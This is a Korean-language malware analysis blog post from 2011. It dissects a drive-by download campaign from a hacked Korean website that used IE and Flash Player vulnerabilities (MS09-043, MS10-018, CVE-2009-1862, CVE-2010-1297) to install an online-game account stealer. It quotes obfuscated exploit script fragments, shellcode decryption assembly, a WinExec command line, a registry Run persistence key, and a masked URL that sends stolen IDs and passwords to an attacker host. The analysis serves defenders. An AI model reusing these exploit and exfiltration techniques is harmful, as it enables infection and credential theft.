본문 바로가기
악성코드 정보

다중 취약점을 사용한 악성코드 유포사례

by 알 수 없는 사용자 2011. 3. 22.
1. 서 론
최근에 특정 국내 웹 사이트가 해킹되어 특정 온라인 게임 사용자의 계정 정보를 탈취하는 악성코드를 유포하는 사례가 발생하여 해당 사례에 대해서 간단하게 정리해 보았다.

2. 악성코드 유포방법 및 증상
이번 사례에서는 본 목적을 가진 악성코드를 사용자의 PC에 감염시키기 위해서 IE & Adboe Flash Player의 취약점 등을 사용했고 백신이나 네트워크 장비에서 탐지를 회피하기 위해서 악성 스크립트를 여러 조각으로 구성해 놓았는데 말로 설명하는 것보다 아래 그림을 통해서 보는 것이 더 이해가 쉬울 것 같다.

 

[그림 1] 악성 스크립트의 실행구조

[그림 1]에 설명된 모든 스크립트가 실행되는 것은 아니며 조건(IE&Flash Player 버전)등을 고려하여 일부 스크립트만 다운로드 및 실행하는 구조이다.

3. 스크립트 분석
3.1 a.htm
a.htm"MS09-043 취약점"을 이용하여 악성코드(scvhost.txt)를 실행하는 악성 스크립트이다.


-. 취약점 정보: http://www.microsoft.com/korea/technet/security/bulletin/ms09-043.mspx


a.htm
의 코드를 살펴보면 아래와 같다.

<Script Language="JavaScript">

try{

      var a;

      var app=new ActiveXObject("O"+"\x57\x43\x31\x30\x2E\x53\x70"+"readsheet");

}

   catch(a){};

   finally{if(a!="[object Error]")

   {

  var nbGogo = "<iframe width=115 height=111 src=f4.htm></iframe>";

  setTimeout("document.write(nbGogo)", 3500);

   }

}

</script>


OWC10.Spreadsheet
오브젝트가 존재하면 f4.htm이 실행되며 해당 스크립트는 scvhost.txt와 여러 개의 스크립트 조각들로 구성되어 있다.

<script src='scvhost.txt'></script> ; 악성코드

<script src=f1.js></script> ; var nBoomRi = Shellcode1

<script src=f2.js></script> ; var nBoomHai = Shellcode2, MS09-043 취약점 코드

<script src=f3.js></script> ; Shellcode를 합치는 변수로 구성됨


-. f2.js에 존재하는 MS09-043 취약점 코드:

var svAnti="\x4F\x57\x43"+"10.Spre";

var yinhumm=0;

var yinhugg=10;

var svAnti2=svAnti+"adsh"+"eet";

var obj=new ActiveXObject(svAnti2);

var me2=obssj.msDataSource; 


2개의 파트로 분할되어 있는 Shellcodef3.js에서 합쳐진 후에  nbTry라는 변수에 저장된다.


-. f3.js
에 존재하는 변수: var nbTry=nBoomx(nBoomRi+nBoomHai);


3.2 z.htm
z.htmscvhost.txt를 실행하기 위해서 b6.htmf.htm2가지 경우를 사용하는데 아래 코드의 결과에 따라서 b6.htmf.htm 중에 하나를 선택하여 실행한다.

<script language="JavaScript">

  if (navigator.userAgent.indexOf("\x4D"+"\x53\x49"+"\x45\x20"+"\x38") == -1) ; MSIE 8

  {

       document.write("<iframe src=b6.htm width=115 height=111><\/iframe>");  // MSIE 8이 아니면

  }

  document.write("<iframe src=f.htm width=115 height=1><\/iframe>"); // MSIE 8이면

</script>

navigator.userAgent를 사용하면 아래 예처럼 PC의 브라우저에 설정된 User Agent값을 얻어 올 수 있는데, 여기에 indexOf를 추가하여 얻어 온 User Agent 정보에서 MSIE 8이란 문자열이 존재하는지 체크함으로써 b6.htm을 실행할 것인지 아니면 f.htm을 실행할 것인지 결정한다.


Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)


-. 취약점 정보: http://www.microsoft.com/korea/technet/security/bulletin/ms10-018.mspx

3.3 b6.htm
b6.htm
"MS10-018 취약점"을 이용하여 악성코드(scvhost.txt)를 실행하는 악성 스크립트이다.

 

function netboomwm()

{

av2();

var a7 = document.createElement('b'+'\x6F\x64\x79');

a7.addBehavior(nbmmmm[1]+'\141\165\154\164\43\165\163\145'+nbmmmm[2]);

document.appendChild(a7);

 

b6.htm도 a.htm과 마찬가지로 scvhost.txt와 여러 개의 스크립트 조각들로 구성되어 있다.

 

<script src='scvhost.txt'></script> ; 악성코드

<script src='b1.txt'></script> ; var nBrPk = Shellcode 1

<script src='b2.txt'></script> ; var nBorPk = Shellcode 2

<script src='b3.txt'></script> ; var nBoOrPk = Shellcode 3

<script src='b4.txt'></script> ; Shellcode 조합코드(nBrPk+nBorPk+nBoOrPk)

<script src='b5.txt'></script> ; Heap에 코드쓰기


3.4 f.htm -> fl.htm

감염된 PC에서 사용하는 브라우저의 버전이 IE 8이라면 fl.htm에 존재하는 아래 코드를 통해서 Flash Player의 버전을 얻어 온 후 해당 버전에 존재하는 취약성을 사용하여 scvhost.txt를 실행하는 것으로 보인다.


-. Flash Player의 버전비교

<script type="text/javascript">

var nbVer=deconcept.SWFObjectUtil["getPlay"+"erVersion"]();

if(nbVer['ma'+'j'+'o'+'r']==10){

    if(nbVer['rev']==22){

    document.write("<iframe src=gg.html width=468 height=60 frameborder=0 scrolling=no></iframe>");

    }else if(nbVer['rev']==32){

    document.write("<iframe src=mm.html width=30 height=30 frameborder=0></iframe>");

    }else if(nbVer['rev']==45){

    document.write("<iframe src=mm.html width=30 height=30 frameborder=0></iframe>");

    }

}

</script>


3.5
fl.htm -> gg.html

gg.html도 마찬가지로 scvhost.txt와 여러 개의 스크립트 조각들로 구성되어 있으며,

<script
src='scvhost.txt'></script> ; 악성코드

<script src='da.js'></script> ; Shellcode를 실행하는데 필요한 변수들

<script src='db.js'></script> ; var nbooooooooooooooo = Shellcode 1

<script src='dc.js'></script> ; var nboooooooooooooooooooooooom = Shellcode 2

<script src='dd.js'></script> ; var nboooooooooooooooom = Shellcode 3

<embed src="nb.swf" width="550" height="400">

 

gg.html이 다운로드하는 nb.swf는 아래 취약점을 사용하여 다운로드한 scvhost.txt가 실행된다.

-. 
취약점 정보: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1862


3.5 fl.htm -> mm.html

mm.htmlgg.html과 동일한 구조를 가지고 있으며 다운로드하는 nbm.swf는 아래 취약점을 사용하여 다운로드한 scvhost.txt를 실행한다.

-. 취약점 정보: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1297


3.6 b.htm

b.htm"MS10-018 취약점"을 이용하여 악성코드(scvhost.txt)를 실행하는 악성 스크립트이다.

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\164\141\142\154\145\57\52\52\57\163\164\171\154\145\75\160\157\163\151\164\151\157\156\72\141\142\163\157\154\165\164\145\73\143\154\151\160\72\162\145\143\164\50\60\51\76\42\51\73");

 


-. 취약점 정보: http://www.microsoft.com/korea/technet/security/bulletin/ms10-090.mspx

4. Shellcode 분석
지금까지 분석한 스크립트에 존재한 Shellcode는 모두 scvhost.txt를 실행하기 위한 목적을 가지고 있다.

-. Shellcode 복호화 루틴:

0040102E   $  5B            pop     ebx

0040102F   .  4B            dec     ebx

00401030   .  33C9          xor     ecx, ecx

00401032   .  66:B9 1E02    mov     cx, 21E

00401036   >  80340B E2     xor     byte ptr [ebx+ecx], 0E2

0040103A   .^ E2 FA         loopd   short 00401036


-. scvhost.txt
실행하기:

004010CE    6A 00           push    0

004010D0    53              push    ebx                            ; shellcod.004010ED

004010D1    FF56 08         call    dword ptr [esi+8]  ; WinExec() Call

ebx=004010ED (shellcod.004010ED), ASCII "cmd.exe /C FOR /R ""%USERPROFILE%\"" %i IN (scvhost*.txt) DO %i"


5. Onlinegamehack 분석

(1) 파일생성

%SYSTEM%\hf0037.dll (Win-Trojan/Agent.33599488.B, 2011.03.02.05)

%SYSTEM%\hf0037.exe (Win-Trojan/Agent.26270.B, 2011.03.02.07)

(2) 자동실행

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run

AAAA = "%SYSTEM%\hf0037.exe"


(3) 계정정보 유출
특정 온라인 게임 사용자의 계정정보를 탈취한 후 악의적인 사용자에게 전송한다.

http://www.p1ay****.com//css/*****ble/lin.asp?hanu=[아이디]&hanp=[비밀번호]

계정정보를 유출하는 위 URL은 아래 그림에서 처럼 홍콩에 위치한 것으로 보인다.

댓글